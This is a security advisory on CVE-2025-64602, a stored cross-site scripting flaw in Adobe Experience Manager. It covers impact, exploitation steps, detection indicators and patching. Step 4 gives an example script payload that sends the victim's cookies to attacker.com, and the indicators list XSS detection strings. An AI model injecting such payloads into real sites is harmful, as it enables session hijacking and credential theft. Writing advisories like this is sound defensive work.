CVE-2025-64602: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64602 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field (stored/persistent XSS). Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration. The changed scope indicator reflects that the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the attacker's own session (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser session, enabling session hijacking, credential theft, unauthorized actions on behalf of the victim, and potential escalation to higher-privileged accounts within the AEM environment. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. In enterprise deployments where AEM manages sensitive content and user data, this could facilitate further lateral movement or data exfiltration (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public asset discovery tools.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author/contributor account to access content editing features.
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in page properties, forms, or content fragments) without adequate output encoding.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser session.
6. Harvest results: Collect stolen session tokens, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, etc.).
• Logs: AEM error or audit logs recording unexpected content modifications by low-privileged accounts, particularly to widely-visited pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages (potential data exfiltration via XSS).
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing raw <script> tags or event handler attributes (onload, onerror, onclick) in text properties.

Adobe has released patches addressing CVE-2025-64602 in AEM 6.5.24.0 (on-premises) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict content authoring access to trusted users only and review stored content for unexpected script injections. Adobe's security bulletin APSB25-115 (published December 9, 2025) provides the authoritative remediation guidance (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, referencing the broader APSB25-115 bulletin that includes CVE-2025-64602 (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability aggregator coverage.